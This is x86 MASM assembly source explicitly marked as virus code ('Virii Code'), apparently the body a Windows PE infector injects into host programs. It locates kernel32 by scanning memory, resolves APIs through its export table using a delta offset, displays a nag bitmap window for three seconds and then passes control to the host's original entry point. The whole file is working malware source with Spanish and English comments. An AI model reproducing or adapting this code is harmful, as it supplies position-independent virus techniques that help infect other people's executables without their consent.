;	############################### Nag Studio Code starts here ########################################
	ViriiCodeStart:

	CALL DeltaHandle
	DeltaHandle:
	POP EBP
	SUB EBP,OFFSET DeltaHandle
	JMP CodeStart

	;.DATA
	ApiNames:
	LoadLibraryAAPI			DB "LoadLibraryA",0
	GetProcAddressAPI		DB "GetProcAddress",0
	GetModuleHandleAAPI		DB "GetModuleHandleA",0
	SleepAPI			DB "Sleep",0
					DB  069H			; Este 69 marca el fin

	User32dllModule			DB 	"User32.dll",0
	Gdi32dllModule			DB	"Gdi32.dll",0
	K32_Limit 			DB 	50H

	ClassName			DB "MyLeimClass",0
	WindowName			DB "LameWindow",0

	GPCApisStr:
	User32Str:
	GetMessageAAPI			DB "GetMessageA",0
	TranslateMessageAPI		DB "TranslateMessage",0
	DispatchMessageAAPI		DB "DispatchMessageA",0
	GetSystemMetricsAPI		DB "GetSystemMetrics",0
;	MessageBoxAAPI			DB "MessageBoxA",0	
	MoveWindowAPI			DB "MoveWindow",0	
	SetTimerAPI			DB "SetTimer",0
	KillTimerAPI			DB "KillTimer",0
	PostMessageAAPI			DB "PostMessageA",0
	EndDialogAPI			DB "EndDialog",0
	BeginPaintAPI			DB "BeginPaint",0
	DrawTextAAPI			DB "DrawTextA",0
	EndPaintAPI			DB "EndPaint",0
	GetClientRectAPI		DB "GetClientRect",0
	CreateDialogIndirectParamAAPI	DB "CreateDialogIndirectParamA",0
	SetWindowPosAPI			DB "SetWindowPos",0
	GetDCAPI			DB "GetDC",0	
	GetWindowRectAPI		DB "GetWindowRect",0
					DB 69H

	Gdi32Str:
	DeleteDCAPI			DB "DeleteDC",0
	SelectObjectAPI			DB "SelectObject",0
	CreateCompatibleDCAPI		DB "CreateCompatibleDC",0
	BitBltAPI			DB "BitBlt",0
	CreateDIBitmapAPI		DB "CreateDIBitmap",0
	DeleteObjectAPI			DB "DeleteObject",0	
					DB 69H
							

	;.DATA?

	ImageBase			DD	?
	OriginalEntryPoint  		DD	?
	Pe_Offset			DD  	?

	ExportVA			DD	?	; The export Virtual Address
	AddressOfFunctions		DD	?	; Ptr (VA) to the array of functions addresses
	AddressOfNames			DD	?	; Ptr (VA) to the array of function names 
	AddressOfNameOrdinals		DD	?	; Ptr (VA) to the array of function ordinals
	ExpNames			DD	?	; Quantity of exported names
	KernBase			DD	?	; Kernel ImageBase
	User32ModuleHandle		DD	?	; Handle to User32.dll
	Gdi32ModuleHandle		DD	?	; Handle to Gdi32.dll

	; Bmp needed info
	BMPSize				DD	?	; Size of the BMP file that will be displayed
	BMPWidth			DD	?	; Width of the BMP
	BMPHeight			DD	?	; Height of the BMP



	CodeStart:
	; ------------ we first get the base if kernel32.dll ----------------------------------
	MOV ESI,[ESP]		; Return address (probably somewhere in  CreateProcess) is in ESI
	AND ESI,0FFFF0000H	; Its rounded up now
	CALL GetKernelBase
	CMP EAX,-1
	JZ TheEnd
	MOV [EBP+KernBase],EAX

	; ------------ we now gather enough info about the Kernel Exports
	CALL GatherExportInfo

	; ------------ we now get the Address of some desired APIs ----------------------------
	; EDI contains a ptr to a list of Api Names
	; ESI contains a ptr to an array of DWORDS that will hold the averiguadas API addresses

	; Find API addresss loop starts here
	LEA EDI,[EBP+ApiNames]
	LEA ESI,[EBP+ApiAddresses]

	GetMeAnotherAddress:
	PUSH EDI
	PUSH ESI

	CALL GetApiAddress 		; Get the fucking address!

	POP ESI
	POP EDI

	CMP EAX,-1			; Exit code bad?
	JZ TheEnd

	MOV DWORD PTR [ESI],EAX
	ADD ESI,4
	; Once we return from GetApiAddress we must INC EDI for it to point to the NEXT API name
	DontStayHome:
	CMP BYTE PTR [EDI],0		; Last char arrived?
	JZ KidRockSux
	INC EDI
	JMP DontStayHome
	KidRockSux:
	INC EDI
	CMP BYTE PTR [EDI],69H		; End of API Names?
	JZ NoMoreApisLeft			; Yeah, out
	JMP GetMeAnotherAddress		; Nah, keep on finding addresses
	NoMoreApisLeft:
	; Find API addresss loop ends here

	; Let's get the handle to User32.dll
 	LEA EAX,[EBP+User32dllModule]
	PUSH EAX				; Ptr to String is pushed
	CALL [EBP+LoadLibraryAAddress]		; Call LoadLibrary
	OR EAX,EAX				; Call failed?
	JZ TheEnd		    		; yeah abort this shit
	MOV [EBP+User32ModuleHandle],EAX	; No! keep the module handle for later use

	; Let's get the handle to Gdi32.dll
	LEA EAX,[EBP+Gdi32dllModule]
	PUSH EAX				; Ptr to String is pushed
	CALL [EBP+LoadLibraryAAddress]		; Call LoadLibraryA
	OR EAX,EAX				; Call failed?
	JZ TheEnd		    		; yeah abort this shit
	MOV [EBP+Gdi32ModuleHandle],EAX		; No! keep the module handle for later use

	; Now we resolve the User32.dll functions
	LEA ESI,[EBP+User32Str]			; ESI Contains the pointer to the API strings
	LEA EDI,[EBP+User32Addr]		; EDI contains a pointer to the place in memory where all the API addresses will be kept
	MOV EBX,[EBP+User32ModuleHandle]
	CALL ResolveAddies

	; Now we resolve the Gdi32.dll functions 
	LEA ESI,[EBP+Gdi32Str]			; ESI Contains the pointer to the API strings
	LEA EDI,[EBP+Gdi32Addr]			; EDI contains a pointer to the place in memory where all the API addresses will be kept
	MOV EBX,[EBP+Gdi32ModuleHandle]
	CALL ResolveAddies

	; We keep EBP in EDI since the local variables from CreateWindow will destroy EBP when it creates the
	; stack frame
	
	; Window is created
	; Delta handle goes to EDI
	MOV EDI,EBP
	CALL CreateWindow

	; Return to host
	TheEnd:
	MOV EAX,[EBP+OriginalEntryPoint]
	ADD EAX,[EBP+ImageBase]
	CALL EAX
	RET

CreateWindow	PROC

	LOCAL WndClass	:WNDCLASS
	LOCAL Msg		:MSG
	LOCAL hWnd		:HWND
	LOCAL hInst		:DWORD


;	HWND CreateDialogIndirectParam(
;    HINSTANCE hInstance,	// handle to application instance
;    LPCDLGTEMPLATE lpTemplate,	// pointer to dialog box template
;    HWND hWndParent,	// handle to owner window
;    DLGPROC lpDialogFunc,	// pointer to dialog box procedure  
;    LPARAM lParamInit 	// initialization value
 ;  );


	PUSH 0
	CALL [EDI+GetModuleHandleAAddress]

	MOV [EDI+DlgTemplate.style],WS_VISIBLE OR WS_POPUP OR WS_BORDER 
	;WS_SYSMENU or WS_CAPTION or WS_VISIBLE or DS_3DLOOK or DS_MODALFRAME or WS_POPUP or DS_CENTER OR WS_BORDER 
	MOV [EDI+DlgTemplate.dwExtendedStyle],0
	MOV [EDI+DlgTemplate.cdit],0
	MOV [EDI+DlgTemplate.x],150
	MOV [EDI+DlgTemplate.y],80
	MOV [EDI+DlgTemplate.lx],150
	MOV [EDI+DlgTemplate.ly],80

	PUSH 0				; LPARAM lParamInit
	LEA EBX,WinProk	
	ADD EBX,EDI  
	PUSH EBX			; DLGPROC lpDialogFunc	

	PUSH 0				; HWND hWndParent
	LEA EBX,DlgTemplate
	ADD EBX,EDI
	PUSH EBX			; LPCDLGTEMPLATE lpTemplate						

	PUSH EAX			; HINSTANCE hInstance

	CALL [EDI+CreateDialogIndirectParamAAddress]

	LoopHere:
	; The GetMessage function retrieves a message from the calling thread's message queue 
	; and places it in the specified structure
	PUSH 0
	PUSH 0
	PUSH 0
	LEA EAX,Msg
	PUSH EAX
	CALL [EDI+GetMessageAAddress]
	; Is the message we retrieved a WM_QUIT msg?
	CMP EAX,0
	JZ LoopEnd
	; The TranslateMessage function translates virtual-key messages into character messages.
	; which are read later by GetMessage
	LEA EAX,Msg
	PUSH EAX
	CALL [EDI+TranslateMessageAddress]

	; Now the message is dispatched to the proper WinProk
	LEA EAX,Msg
	PUSH EAX
	CALL [EDI+DispatchMessageAAddress]
	JMP LoopHere
	LoopEnd:
	MOV EAX,Msg.wParam
	PUSH EAX
	CALL [EDI+EndDialogAddress]
	; Msg.wParam contains the value passed to PostQuitMsg which is generally 0
	; Basicamente EAX contiene el exit code. Nada mas.
	RET

CreateWindow	ENDP

WinProk proc USES ESI EDI EBX hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM

	LOCAL hdc	:	HDC
	LOCAL ps	:	PAINTSTRUCT
	LOCAL rect	:	RECT
	LOCAL hMemDC	: 	HANDLE			

;	LOCAL Buffer[255]   :	BYTE			;	Used by GetWindowsDirectory and CreateFile
;	LOCAL FilehWnd	:	HANDLE			; File handle used for BMP on %win%\temp

;	Note 1: No se sabe por que, pero si a buffer se lo deja LOCAL entonces GetWindowsDirectory 
; 	no funciona

	MOV EAX,uMsg

	CALL DELTA
	DELTA:
	POP EBX
	SUB EBX,OFFSET DELTA

	CMP EAX,WM_PAINT
	JZ Paint

	CMP EAX,WM_INITDIALOG
	JZ Create

	CMP EAX,WM_TIMER 
	JZ Timer

	CMP EAX,WM_CLOSE
	; We jump to timer cos we need to first kill the 
	; active timer
	JZ Close

	XOR EAX,EAX
	RET

	Close:
	PUSH [EBX+BmphWnd]
	CALL [EBX+DeleteObjectAddress]
            
	Timer:
	; First we kill the timer
	PUSH 6969
	PUSH hWnd
	CALL [EBX+KillTimerAddress]

	; Now we post a Quit Msg so the msg loop will detect it
	; and stop processing msgs

	PUSH 0
	PUSH hWnd
	PUSH WM_QUIT
	PUSH hWnd
	CALL [EBX+PostMessageAAddress]
	RET

	Command:
	RET

	Create:
	
	PUSH hWnd
        CALL [EBX+GetDCAddress]
        MOV [EBX+hDc],EAX
        
        LEA ESI,[EBX+ViriiCodeEnd]
        MOV EDI,ESI
        ASSUME ESI: PTR BITMAPFILEHEADER 
        MOV EDX,[ESI].bfOffBits
        ADD ESI,EDX
        ADD EDI,14
        
        push    0				; fuUsage 
        push    edi				; BITMAPINFO *lpbmi,	// pointer to bitmap color-format data 
        push    esi				; // pointer to initialization data 
        push    4				; // initialization flag 
        push    edi				; // pointer to bitmap size and format data 
        push    eax				; // handle to device context 
        call    [EBX+CreateDIBitmapAddress]
        
	MOV [EBX+BmphWnd],EAX

	PUSH SWP_DRAWFRAME	; OR SWP_SHOWWINDOW	
	PUSH [EBX+BMPHeight]
	PUSH [EBX+BMPWidth]
	PUSH 150
	PUSH 80
	PUSH HWND_TOPMOST	
	PUSH hWnd
	CALL [EBX+SetWindowPosAddress]
	
	PUSH hWnd
	CALL C3nterWindow

	PUSH NULL		; No TimerProc
	PUSH 3000		; Timeout in 3 seconds
	PUSH 6969		; Timer identifier
	PUSH hWnd		; Window asociated with the timer
	CALL [EBX+SetTimerAddress]
	RET

	Paint:
	; BeginPaint validates the client area and returns a handle to a device context
	LEA EAX,ps
	PUSH EAX
	PUSH hWnd
	CALL [EBX+BeginPaintAddress]
	MOV hdc,EAX

	PUSH hdc
	CALL [EBX+CreateCompatibleDCAddress]
	MOV hMemDC,EAX


	PUSH [EBX+BmphWnd]
	PUSH hMemDC
	CALL [EBX+SelectObjectAddress]

	; GetClientRect returns the coordinates of the client area
	LEA EAX,rect
	PUSH EAX
	PUSH hWnd
	CALL [EBX+GetClientRectAddress]

	PUSH SRCCOPY
	PUSH 0
	PUSH 0
	PUSH hMemDC
	PUSH rect.bottom
	PUSH rect.right
	PUSH 0
	PUSH 0
	PUSH hdc
	CALL [EBX+BitBltAddress]

	PUSH hMemDC
	CALL [EBX+DeleteDCAddress]

	;int DrawText(

    ;HDC hDC,			// handle to device context 
    ;LPCTSTR lpString,		// pointer to string to draw 
    ;int nCount,		// string length, in characters if 1- then the string is zero terminated
    ;LPRECT lpRect,		// pointer to structure with formatting dimensions  
    ;UINT uFormat 		// text-drawing flags 
   ;);	
  

    COMMENT ~
	PUSH DT_SINGLELINE+DT_CENTER+DT_VCENTER
	LEA EAX,rect
	PUSH EAX
	PUSH -1
	LEA EAX,LameMsg
	ADD EAX,EBX
	PUSH EAX
	PUSH hdc
	CALL [EBX+DrawTextAAddress]
	~

	LEA EAX,ps
	PUSH EAX
	PUSH hWnd
	CALL [EBX+EndPaintAddress]

	XOR EAX,EAX
	RET

WinProk endp


	;######## Functions ##############################################
GetKernelBase	PROC
	A:
	CMP BYTE PTR [EBP+K32_Limit],00
	JZ Failed
	CMP WORD PTR [ESI],'ZM'
	JZ CheckPe
	B:
	SUB ESI,10000H
	DEC BYTE PTR [EBP+K32_Limit]
	JMP A
	CheckPe:
	MOV EDI,DWORD PTR [ESI+3CH]
	CMP DWORD PTR [EDI+ESI],'EP'
	JZ FoundKern
	JMP B
	Failed:
	MOV EAX,-1
	RET
	FoundKern:
	MOV [EBP+Pe_Offset],EDI		; EDI contains the PE offset
	XCHG EAX,ESI			; ESI contains the Kernel Image Base
	RET

GetKernelBase	ENDP

GetApiAddress	PROC 
	
	; De EDI toma el string
	; En EAX retorna la dirección de la API.

	; First we must averiguar el size del string que reside en EDI y lo guardamos en EDX

	XCHG ESI,EDI
	MOV EDX,ESI			; EDX and ESI both have a pointer a string which is an API name
	NextChar:
	CMP BYTE PTR [ESI],0		; reached the end of the string?
	JZ StringEnd
	INC ESI	    			; no, take another char
	JMP NextChar			; dije take it fuck!
	StringEnd:
	INC ESI				; include the null char too
	XCHG ESI,EDX			; now ESI has the original pointer and EDX has the same as ESI + the string's length
	SUB EDX,ESI			; The substraction leaves in EDX the size of the string
	XCHG EDI,ESI			; Now EDI has the pointer to the API string

	; NOW EDX contains the size of the string
	; EDI contains the API string

	MOV ESI,[EBP+AddressOfNames]	; Esi has a pointer to a place in memory filled by strings separed by null chars	
	MOV ECX,[EBP+ExpNames]		; ECX has the quantity of names exported by this dll
	NextName:	
	PUSH EDI			; Save pointer to desired API
	PUSH ESI			; Save pointer to array
	PUSH ECX			; Save counter
	MOV ESI,DWORD PTR [ESI]		; Move one Name RVA to ESI
	ADD ESI,[EBP+KernBase]		; Add imagebase so we can scan the fucking name
	MOV ECX,EDX			; Desired Api's size
	REPE CMPSB			; Compare both strings
	TEST ECX,ECX			; are they the same?
	JZ FoundIT			; yay! go for it!
	NotTheRightOne:
	POP ECX				; Restore counter
	POP ESI	   			; Restore pointer to array
	POP EDI				; Restore ptr to desired API
	ADD ESI,4			; pass to the next function name rva
	LOOP NextName
	MOV EAX,-1			; Exit code
	JMP TheEndz			; Sorry! could not find what you want!
	FoundIT:
	POP ECX				    ; Pop counter
	POP ESI				; Restore pointer to array
	POP EDI				; Restore desired API ptr	
	MOV EAX,[EBP+ExpNames]		; By substracting ECX from the original quantity of exported names, we get the index to the desired API name
	SUB EAX,ECX			; EAX has got the index to the function ordinal
	SHL EAX,1			; Multiply by 2. Because the ORDINAL array contains 16 bit (WORD) ordinals
  	MOV ESI,[EBP+AddressOfNameOrdinals] ; ESI cointains a pointer to the beginning of the Ordinals Array
	ADD ESI,EAX			; Nos posicionamos justo donde queremos!
	XOR EAX,EAX			
	LODSW				; EAX contains the ORDINAL for the desired API
	SHL EAX,2			; Multiply by 4 (each element of the AddressOfFunctions array is a dword)
	MOV ESI,[EBP+AddressOfFunctions]	; ESI cointains a pointer to the beginning of the Addresses Array
	ADD ESI,EAX			; ESI contains a RVA which is the RVA of the desired function
	LODSD				; LOAD it in EAX
	ADD EAX,[EBP+KernBase]; Add to it the imagebase of kernel to get the fully virtual address of the desired API
	TheEndz:
	RET

GetApiAddress	ENDP

ResolveAddies	PROC	

	; ESI contains a Ptr to a 0x69H terminated string describing all the API names that we want
	; to import
	; EDI contains Ptr to an array of dwords that will keep the resolved API addresses
	; EBX holds the handle of the dll that exports the desired functtions


	XOR ECX,ECX				; ECX will be the counter
	NextGPA:
	PUSH ECX				; Save counter
	PUSH ESI				; PUSH String ptr
	PUSH EBX				; PUSH module handle
	CALL [EBP+GetProcAddressAddress]	; CALL GetProcAddress
	OR EAX,EAX				; Call failed?
	JZ GPAError
	POP ECX	   				; Restore counter
	MOV [EDI],EAX				; KEEP ProcAddress in its right place
	INC ECX					; One more time..?
	ADD EDI,4				; yeah, increment the DWORDs
	NotYet:					; you are so nice honey :)
	INC ESI
	CMP BYTE PTR [ESI],0			; Lets now find the end of the previous string and 
	JNZ NotYet				; position ESI for the new GetProcAddress
	INC ESI
	CMP BYTE PTR [ESI],69H			; is it the end of the APIs?
	JNZ NextGPA
	RET

	GPAError:
	POP ECX					; Restore counter
	XOR EAX,EAX
	DEC EAX
	RET

ResolveAddies	ENDP

C3nterWindow	PROC WinHandle:DWORD

	LOCAL Ano			:	RECT
	LOCAL ScreenWidth	: 	DWORD
	LOCAL ScreenHeight	: 	DWORD
	LOCAL DlgWidth		: 	DWORD
	LOCAL DlgHeight		: 	DWORD

	PUSH SM_CXSCREEN
	CALL [EBX+GetSystemMetricsAddress]
	MOV ScreenWidth,EAX

	PUSH SM_CYSCREEN
	CALL [EBX+GetSystemMetricsAddress]
	MOV ScreenHeight,EAX

	LEA EAX,Ano
	PUSH EAX
	PUSH WinHandle
	CALL [EBX+GetWindowRectAddress]
	MOV EDX,[Ano.left]  
	MOV EAX,[Ano.right] 
	SUB EAX,EDX
	MOV DlgWidth,EAX

	MOV EDX,[Ano.top]
	MOV EAX,[Ano.bottom]
	SUB EAX,EDX
	MOV DlgHeight,EAX

	MOV EAX,ScreenWidth
	SHR EAX,1
	MOV EDX,DlgWidth
	SHR EDX,1
	SUB EAX,EDX

	PUSH EAX
	MOV EAX,ScreenHeight
	SHR EAX,1
	MOV EDX,DlgHeight
	SHR EDX,1
	SUB EAX,EDX
	
	POP EDX
	PUSH TRUE
	PUSH DlgHeight
	PUSH DlgWidth
	PUSH EAX
	PUSH EDX
	PUSH WinHandle
	CALL [EBX+MoveWindowAddress]
	RET

C3nterWindow	ENDP



GatherExportInfo	PROC

	MOV ESI,[EBP+KernBase] 	; Kernel Base in ESI
	ADD ESI,[EBP+Pe_Offset]	; Pe
	ADD ESI,78H		; Go till the Export Dir
	MOV ESI,DWORD PTR [ESI]	; Move the RVA to the export to ESI
	ADD ESI,[EBP+KernBase]	; ESI is now facing the exports
	MOV [EBP+ExportVA],ESI	; Keep that VA
	ADD ESI,18H		; ESI now indicates the number of imported names
	LODSD
	MOV [EBP+ExpNames],EAX	; We keep it for later use
	LODSD
	
	ADD EAX,[EBP+KernBase]
	MOV [EBP+AddressOfFunctions],EAX	; We keep the RVA of the addresses of functions array
	ADD ESI,4				; Get the RVA to function ordinal array
	MOV EAX,DWORD PTR [ESI]			; Get the RVA to function ordinal array
	ADD EAX,[EBP+KernBase]
	MOV [EBP+AddressOfNameOrdinals],EAX
	SUB ESI,4
	MOV ESI,DWORD PTR [ESI]			; Now we move to the RVA to the array of RVAs which point to function names	
	ADD ESI,[EBP+KernBase]			; ESI now is in the Names Table array
	MOV [EBP+AddressOfNames],ESI		; Keep it
	RET

GatherExportInfo	ENDP

	LameMsg				DB "El Gordo Motoneta no puede parar!",0

	DlgTemplate			DLGTEMPLATE <>
	DW				0	; Menu
	DW				0	; Class
	DB				'L',0,'a',0,'t',0,'e',0,'x',0,'X',0,0,0 ; the title of the dialog
	
	;----- API Addresses This dwords will be filled with the kernel scan
	ApiAddresses:
	LoadLibraryAAddress		DD  ?
	GetProcAddressAddress		DD	?
	GetModuleHandleAAddress		DD	?
	SleepAddress			DD	?

	;----- This dwords will be filled with subsequent calls to GetProcAddress
	GPCApisAddrs:
	User32Addr:
	GetMessageAAddress		DD	?
	TranslateMessageAddress		DD	?
	DispatchMessageAAddress		DD	?
	GetSystemMetricsAddress		DD	?
;	MessageBoxAAddress		DD	?	
	MoveWindowAddress		DD	?
	SetTimerAddress			DD	?
	KillTimerAddress		DD	?
	PostMessageAAddress		DD	?
	EndDialogAddress		DD	?
	BeginPaintAddress		DD	?
	DrawTextAAddress		DD	?
	EndPaintAddress			DD	?
	GetClientRectAddress		DD	?
	CreateDialogIndirectParamAAddress	DD	?
	SetWindowPosAddress		DD	?
	GetDCAddress			DD	?
	GetWindowRectAddress		DD	?

	Gdi32Addr:
	DeleteDCAddress			DD	?
	SelectObjectAddress		DD	?
	CreateCompatibleDCAddress	DD	?
	BitBltAddress			DD	?
	CreateDIBitmapAddress		DD	?	
	DeleteObjectAddress		DD	?

	BmphWnd				DD	?			; Bitmap Handle
	hDc				DD	?			; Handle to DC
	ViriiCodeEnd:
	
;	############################### Virii Code ends here ########################################

